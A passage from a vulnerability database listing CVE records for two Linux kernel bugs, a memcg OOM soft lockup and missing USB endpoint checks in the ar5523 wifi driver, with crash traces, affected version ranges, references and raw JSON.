    "assignerOrgId": "1af790b2-7ee1-4545-860a-a788eba489b5",
    "assignerShortName": "VulDB",
    "cveId": "CVE-2025-8224",
    "datePublished": "2025-07-27T05:32:06.926Z",
    "dateReserved": "2025-07-26T12:56:14.737Z",
    "dateUpdated": "2026-05-12T12:02:37.322Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-57977 (GCVE-0-2024-57977)

Vulnerability from cvelistv5 – Published: 2025-02-27 02:07 – Updated: 2026-05-12 12:01

Title

memcg: fix soft lockup in the OOM process

Summary

In the Linux kernel, the following vulnerability has been resolved: memcg: fix soft lockup in the OOM process A soft lockup issue was found in the product with about 56,000 tasks were in the OOM cgroup, it was traversing them when the soft lockup was triggered. watchdog: BUG: soft lockup - CPU#2 stuck for 23s! [VM Thread:1503066] CPU: 2 PID: 1503066 Comm: VM Thread Kdump: loaded Tainted: G Hardware name: Huawei Cloud OpenStack Nova, BIOS RIP: 0010:console_unlock+0x343/0x540 RSP: 0000:ffffb751447db9a0 EFLAGS: 00000247 ORIG_RAX: ffffffffffffff13 RAX: 0000000000000001 RBX: 0000000000000000 RCX: 00000000ffffffff RDX: 0000000000000000 RSI: 0000000000000004 RDI: 0000000000000247 RBP: ffffffffafc71f90 R08: 0000000000000000 R09: 0000000000000040 R10: 0000000000000080 R11: 0000000000000000 R12: ffffffffafc74bd0 R13: ffffffffaf60a220 R14: 0000000000000247 R15: 0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007f2fe6ad91f0 CR3: 00000004b2076003 CR4: 0000000000360ee0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 Call Trace: vprintk_emit+0x193/0x280 printk+0x52/0x6e dump_task+0x114/0x130 mem_cgroup_scan_tasks+0x76/0x100 dump_header+0x1fe/0x210 oom_kill_process+0xd1/0x100 out_of_memory+0x125/0x570 mem_cgroup_out_of_memory+0xb5/0xd0 try_charge+0x720/0x770 mem_cgroup_try_charge+0x86/0x180 mem_cgroup_try_charge_delay+0x1c/0x40 do_anonymous_page+0xb5/0x390 handle_mm_fault+0xc4/0x1f0 This is because thousands of processes are in the OOM cgroup, it takes a long time to traverse all of them. As a result, this lead to soft lockup in the OOM process. To fix this issue, call 'cond_resched' in the 'mem_cgroup_scan_tasks' function per 1000 iterations. For global OOM, call 'touch_softlockup_watchdog' per 1000 iterations to avoid this issue.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/72f2c0b7c152c2983…
https://git.kernel.org/stable/c/110399858194c71f1…
https://git.kernel.org/stable/c/a9042dbc1ed4bf25a…
https://git.kernel.org/stable/c/0a09d56e1682c9510…
https://git.kernel.org/stable/c/972486d37169fe850…
https://git.kernel.org/stable/c/c3a3741db8c1202aa…
https://git.kernel.org/stable/c/46576834291869457…
https://git.kernel.org/stable/c/ade81479c7dda1ce3…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 9cbb78bb314360a860a8b23723971cb6fcb54176 , < 72f2c0b7c152c2983ed51d48c3272cab4f34d965 (git) Affected: 9cbb78bb314360a860a8b23723971cb6fcb54176 , < 110399858194c71f11afefad6e7be9e3876b284f (git) Affected: 9cbb78bb314360a860a8b23723971cb6fcb54176 , < a9042dbc1ed4bf25a5f5c699d10c3d676abf8ca2 (git) Affected: 9cbb78bb314360a860a8b23723971cb6fcb54176 , < 0a09d56e1682c951046bf15542b3e9553046c9f6 (git) Affected: 9cbb78bb314360a860a8b23723971cb6fcb54176 , < 972486d37169fe85035e81b8c5dff21f70df1173 (git) Affected: 9cbb78bb314360a860a8b23723971cb6fcb54176 , < c3a3741db8c1202aa959c77df3a4c361612d1eb1 (git) Affected: 9cbb78bb314360a860a8b23723971cb6fcb54176 , < 46576834291869457d4772bb7df72d7c2bb3d57f (git) Affected: 9cbb78bb314360a860a8b23723971cb6fcb54176 , < ade81479c7dda1ce3eedb215c78bc615bbd04f06 (git)
Linux	Linux	Affected: 3.6 Unaffected: 0 , < 3.6 (semver) Unaffected: 5.4.291 , ≤ 5.4.* (semver) Unaffected: 5.10.235 , ≤ 5.10.* (semver) Unaffected: 5.15.179 , ≤ 5.15.* (semver) Unaffected: 6.1.130 , ≤ 6.1.* (semver) Unaffected: 6.6.80 , ≤ 6.6.* (semver) Unaffected: 6.12.13 , ≤ 6.12.* (semver) Unaffected: 6.13.2 , ≤ 6.13.* (semver) Unaffected: 6.14 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T19:32:52.137Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00045.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00030.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:01:43.873Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-082556.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "mm/memcontrol.c",
            "mm/oom_kill.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "72f2c0b7c152c2983ed51d48c3272cab4f34d965",
              "status": "affected",
              "version": "9cbb78bb314360a860a8b23723971cb6fcb54176",
              "versionType": "git"
            },
            {
              "lessThan": "110399858194c71f11afefad6e7be9e3876b284f",
              "status": "affected",
              "version": "9cbb78bb314360a860a8b23723971cb6fcb54176",
              "versionType": "git"
            },
            {
              "lessThan": "a9042dbc1ed4bf25a5f5c699d10c3d676abf8ca2",
              "status": "affected",
              "version": "9cbb78bb314360a860a8b23723971cb6fcb54176",
              "versionType": "git"
            },
            {
              "lessThan": "0a09d56e1682c951046bf15542b3e9553046c9f6",
              "status": "affected",
              "version": "9cbb78bb314360a860a8b23723971cb6fcb54176",
              "versionType": "git"
            },
            {
              "lessThan": "972486d37169fe85035e81b8c5dff21f70df1173",
              "status": "affected",
              "version": "9cbb78bb314360a860a8b23723971cb6fcb54176",
              "versionType": "git"
            },
            {
              "lessThan": "c3a3741db8c1202aa959c77df3a4c361612d1eb1",
              "status": "affected",
              "version": "9cbb78bb314360a860a8b23723971cb6fcb54176",
              "versionType": "git"
            },
            {
              "lessThan": "46576834291869457d4772bb7df72d7c2bb3d57f",
              "status": "affected",
              "version": "9cbb78bb314360a860a8b23723971cb6fcb54176",
              "versionType": "git"
            },
            {
              "lessThan": "ade81479c7dda1ce3eedb215c78bc615bbd04f06",
              "status": "affected",
              "version": "9cbb78bb314360a860a8b23723971cb6fcb54176",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "mm/memcontrol.c",
            "mm/oom_kill.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.6"
            },
            {
              "lessThan": "3.6",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.291",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.235",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.179",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.130",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.80",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.13",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.13.*",
              "status": "unaffected",
              "version": "6.13.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.14",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.291",
                  "versionStartIncluding": "3.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.235",
                  "versionStartIncluding": "3.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.179",
                  "versionStartIncluding": "3.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.130",
                  "versionStartIncluding": "3.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.80",
                  "versionStartIncluding": "3.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.13",
                  "versionStartIncluding": "3.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13.2",
                  "versionStartIncluding": "3.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.14",
                  "versionStartIncluding": "3.6",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmemcg: fix soft lockup in the OOM process\n\nA soft lockup issue was found in the product with about 56,000 tasks were\nin the OOM cgroup, it was traversing them when the soft lockup was\ntriggered.\n\nwatchdog: BUG: soft lockup - CPU#2 stuck for 23s! [VM Thread:1503066]\nCPU: 2 PID: 1503066 Comm: VM Thread Kdump: loaded Tainted: G\nHardware name: Huawei Cloud OpenStack Nova, BIOS\nRIP: 0010:console_unlock+0x343/0x540\nRSP: 0000:ffffb751447db9a0 EFLAGS: 00000247 ORIG_RAX: ffffffffffffff13\nRAX: 0000000000000001 RBX: 0000000000000000 RCX: 00000000ffffffff\nRDX: 0000000000000000 RSI: 0000000000000004 RDI: 0000000000000247\nRBP: ffffffffafc71f90 R08: 0000000000000000 R09: 0000000000000040\nR10: 0000000000000080 R11: 0000000000000000 R12: ffffffffafc74bd0\nR13: ffffffffaf60a220 R14: 0000000000000247 R15: 0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00007f2fe6ad91f0 CR3: 00000004b2076003 CR4: 0000000000360ee0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n vprintk_emit+0x193/0x280\n printk+0x52/0x6e\n dump_task+0x114/0x130\n mem_cgroup_scan_tasks+0x76/0x100\n dump_header+0x1fe/0x210\n oom_kill_process+0xd1/0x100\n out_of_memory+0x125/0x570\n mem_cgroup_out_of_memory+0xb5/0xd0\n try_charge+0x720/0x770\n mem_cgroup_try_charge+0x86/0x180\n mem_cgroup_try_charge_delay+0x1c/0x40\n do_anonymous_page+0xb5/0x390\n handle_mm_fault+0xc4/0x1f0\n\nThis is because thousands of processes are in the OOM cgroup, it takes a\nlong time to traverse all of them.  As a result, this lead to soft lockup\nin the OOM process.\n\nTo fix this issue, call \u0027cond_resched\u0027 in the \u0027mem_cgroup_scan_tasks\u0027\nfunction per 1000 iterations.  For global OOM, call\n\u0027touch_softlockup_watchdog\u0027 per 1000 iterations to avoid this issue."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:01:25.233Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/72f2c0b7c152c2983ed51d48c3272cab4f34d965"
        },
        {
          "url": "https://git.kernel.org/stable/c/110399858194c71f11afefad6e7be9e3876b284f"
        },
        {
          "url": "https://git.kernel.org/stable/c/a9042dbc1ed4bf25a5f5c699d10c3d676abf8ca2"
        },
        {
          "url": "https://git.kernel.org/stable/c/0a09d56e1682c951046bf15542b3e9553046c9f6"
        },
        {
          "url": "https://git.kernel.org/stable/c/972486d37169fe85035e81b8c5dff21f70df1173"
        },
        {
          "url": "https://git.kernel.org/stable/c/c3a3741db8c1202aa959c77df3a4c361612d1eb1"
        },
        {
          "url": "https://git.kernel.org/stable/c/46576834291869457d4772bb7df72d7c2bb3d57f"
        },
        {
          "url": "https://git.kernel.org/stable/c/ade81479c7dda1ce3eedb215c78bc615bbd04f06"
        }
      ],
      "title": "memcg: fix soft lockup in the OOM process",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-57977",
    "datePublished": "2025-02-27T02:07:04.943Z",
    "dateReserved": "2025-02-27T02:04:28.912Z",
    "dateUpdated": "2026-05-12T12:01:43.873Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-38565 (GCVE-0-2024-38565)

Vulnerability from cvelistv5 – Published: 2024-06-19 13:35 – Updated: 2026-05-12 11:54

Title

wifi: ar5523: enable proper endpoint verification

Summary

In the Linux kernel, the following vulnerability has been resolved: wifi: ar5523: enable proper endpoint verification Syzkaller reports [1] hitting a warning about an endpoint in use not having an expected type to it. Fix the issue by checking for the existence of all proper endpoints with their according types intact. Sadly, this patch has not been tested on real hardware. [1] Syzkaller report: ------------[ cut here ]------------ usb 1-1: BOGUS urb xfer, pipe 3 != type 1 WARNING: CPU: 0 PID: 3643 at drivers/usb/core/urb.c:504 usb_submit_urb+0xed6/0x1880 drivers/usb/core/urb.c:504 ... Call Trace: <TASK> ar5523_cmd+0x41b/0x780 drivers/net/wireless/ath/ar5523/ar5523.c:275 ar5523_cmd_read drivers/net/wireless/ath/ar5523/ar5523.c:302 [inline] ar5523_host_available drivers/net/wireless/ath/ar5523/ar5523.c:1376 [inline] ar5523_probe+0x14b0/0x1d10 drivers/net/wireless/ath/ar5523/ar5523.c:1655 usb_probe_interface+0x30f/0x7f0 drivers/usb/core/driver.c:396 call_driver_probe drivers/base/dd.c:560 [inline] really_probe+0x249/0xb90 drivers/base/dd.c:639 __driver_probe_device+0x1df/0x4d0 drivers/base/dd.c:778 driver_probe_device+0x4c/0x1a0 drivers/base/dd.c:808 __device_attach_driver+0x1d4/0x2e0 drivers/base/dd.c:936 bus_for_each_drv+0x163/0x1e0 drivers/base/bus.c:427 __device_attach+0x1e4/0x530 drivers/base/dd.c:1008 bus_probe_device+0x1e8/0x2a0 drivers/base/bus.c:487 device_add+0xbd9/0x1e90 drivers/base/core.c:3517 usb_set_configuration+0x101d/0x1900 drivers/usb/core/message.c:2170 usb_generic_driver_probe+0xbe/0x100 drivers/usb/core/generic.c:238 usb_probe_device+0xd8/0x2c0 drivers/usb/core/driver.c:293 call_driver_probe drivers/base/dd.c:560 [inline] really_probe+0x249/0xb90 drivers/base/dd.c:639 __driver_probe_device+0x1df/0x4d0 drivers/base/dd.c:778 driver_probe_device+0x4c/0x1a0 drivers/base/dd.c:808 __device_attach_driver+0x1d4/0x2e0 drivers/base/dd.c:936 bus_for_each_drv+0x163/0x1e0 drivers/base/bus.c:427 __device_attach+0x1e4/0x530 drivers/base/dd.c:1008 bus_probe_device+0x1e8/0x2a0 drivers/base/bus.c:487 device_add+0xbd9/0x1e90 drivers/base/core.c:3517 usb_new_device.cold+0x685/0x10ad drivers/usb/core/hub.c:2573 hub_port_connect drivers/usb/core/hub.c:5353 [inline] hub_port_connect_change drivers/usb/core/hub.c:5497 [inline] port_event drivers/usb/core/hub.c:5653 [inline] hub_event+0x26cb/0x45d0 drivers/usb/core/hub.c:5735 process_one_work+0x9bf/0x1710 kernel/workqueue.c:2289 worker_thread+0x669/0x1090 kernel/workqueue.c:2436 kthread+0x2e8/0x3a0 kernel/kthread.c:376 ret_from_fork+0x1f/0x30 arch/x86/entry/entry_64.S:306 </TASK>

Severity ?

6.5 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

CWE

CWE-noinfo Not enough information

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/79ddf5f2020fd593d…
https://git.kernel.org/stable/c/68a5a00c5d38978a3…
https://git.kernel.org/stable/c/ee25389df80138907…
https://git.kernel.org/stable/c/b4c24de37a6bb3833…
https://git.kernel.org/stable/c/34f7ebff1b9699e0b…
https://git.kernel.org/stable/c/b33a81e4ecfb022b0…
https://git.kernel.org/stable/c/beeed260b92af1585…
https://git.kernel.org/stable/c/7bbf76c9bb2c58375…
https://git.kernel.org/stable/c/e120b6388d7d88635…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: b7d572e1871df06a96a1c9591c71c5494ff6b624 , < 79ddf5f2020fd593d50f1363bb5131283d74f78f (git) Affected: b7d572e1871df06a96a1c9591c71c5494ff6b624 , < 68a5a00c5d38978a3f8460c6f182f7beec8688ff (git) Affected: b7d572e1871df06a96a1c9591c71c5494ff6b624 , < ee25389df80138907bc9dcdf4a2be2067cde9a81 (git) Affected: b7d572e1871df06a96a1c9591c71c5494ff6b624 , < b4c24de37a6bb383394a6fef2b85a6db41d426f5 (git) Affected: b7d572e1871df06a96a1c9591c71c5494ff6b624 , < 34f7ebff1b9699e0b89fa58b693bc098c2f5ec72 (git) Affected: b7d572e1871df06a96a1c9591c71c5494ff6b624 , < b33a81e4ecfb022b028cae37d1c1ce28ac1b359d (git) Affected: b7d572e1871df06a96a1c9591c71c5494ff6b624 , < beeed260b92af158592f5e8d2dab65dae45c6f70 (git) Affected: b7d572e1871df06a96a1c9591c71c5494ff6b624 , < 7bbf76c9bb2c58375e183074e44f9712483f0603 (git) Affected: b7d572e1871df06a96a1c9591c71c5494ff6b624 , < e120b6388d7d88635d67dcae6483f39c37111850 (git)
Linux	Linux	Affected: 3.8 Unaffected: 0 , < 3.8 (semver) Unaffected: 4.19.316 , ≤ 4.19.* (semver) Unaffected: 5.4.278 , ≤ 5.4.* (semver) Unaffected: 5.10.219 , ≤ 5.10.* (semver) Unaffected: 5.15.161 , ≤ 5.15.* (semver) Unaffected: 6.1.93 , ≤ 6.1.* (semver) Unaffected: 6.6.33 , ≤ 6.6.* (semver) Unaffected: 6.8.12 , ≤ 6.8.* (semver) Unaffected: 6.9.3 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "NETWORK",
              "availabilityImpact": "NONE",
              "baseScore": 6.5,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "NONE",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-38565",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-06-24T15:24:16.719538Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "description": "CWE-noinfo Not enough information",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-11-01T14:41:42.203Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-04T17:21:29.789Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/79ddf5f2020fd593d50f1363bb5131283d74f78f"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/68a5a00c5d38978a3f8460c6f182f7beec8688ff"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ee25389df80138907bc9dcdf4a2be2067cde9a81"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b4c24de37a6bb383394a6fef2b85a6db41d426f5"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/34f7ebff1b9699e0b89fa58b693bc098c2f5ec72"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b33a81e4ecfb022b028cae37d1c1ce28ac1b359d"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/beeed260b92af158592f5e8d2dab65dae45c6f70"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/7bbf76c9bb2c58375e183074e44f9712483f0603"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e120b6388d7d88635d67dcae6483f39c37111850"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:54:40.931Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/wireless/ath/ar5523/ar5523.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "79ddf5f2020fd593d50f1363bb5131283d74f78f",
              "status": "affected",
              "version": "b7d572e1871df06a96a1c9591c71c5494ff6b624",
              "versionType": "git"
            },
            {
              "lessThan": "68a5a00c5d38978a3f8460c6f182f7beec8688ff",
              "status": "affected",
              "version": "b7d572e1871df06a96a1c9591c71c5494ff6b624",
              "versionType": "git"
            },
            {
              "lessThan": "ee25389df80138907bc9dcdf4a2be2067cde9a81",
              "status": "affected",
              "version": "b7d572e1871df06a96a1c9591c71c5494ff6b624",
              "versionType": "git"
            },
            {
              "lessThan": "b4c24de37a6bb383394a6fef2b85a6db41d426f5",
              "status": "affected",
              "version": "b7d572e1871df06a96a1c9591c71c5494ff6b624",
              "versionType": "git"
            },
            {
              "lessThan": "34f7ebff1b9699e0b89fa58b693bc098c2f5ec72",
              "status": "affected",
              "version": "b7d572e1871df06a96a1c9591c71c5494ff6b624",
              "versionType": "git"
            },
            {
              "lessThan": "b33a81e4ecfb022b028cae37d1c1ce28ac1b359d",
              "status": "affected",
              "version": "b7d572e1871df06a96a1c9591c71c5494ff6b624",
              "versionType": "git"
            },
            {
              "lessThan": "beeed260b92af158592f5e8d2dab65dae45c6f70",
              "status": "affected",
              "version": "b7d572e1871df06a96a1c9591c71c5494ff6b624",
              "versionType": "git"
            },
            {
              "lessThan": "7bbf76c9bb2c58375e183074e44f9712483f0603",
              "status": "affected",
              "version": "b7d572e1871df06a96a1c9591c71c5494ff6b624",
              "versionType": "git"
            },
            {
              "lessThan": "e120b6388d7d88635d67dcae6483f39c37111850",
              "status": "affected",
              "version": "b7d572e1871df06a96a1c9591c71c5494ff6b624",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/wireless/ath/ar5523/ar5523.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.8"
            },
            {
              "lessThan": "3.8",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.316",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.278",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.219",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.161",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.93",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.33",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.12",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.316",
                  "versionStartIncluding": "3.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.278",
                  "versionStartIncluding": "3.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.219",
                  "versionStartIncluding": "3.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.161",
                  "versionStartIncluding": "3.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.93",
                  "versionStartIncluding": "3.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.33",
                  "versionStartIncluding": "3.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.12",
                  "versionStartIncluding": "3.8",
                  "vulnerable": true
                },
                {
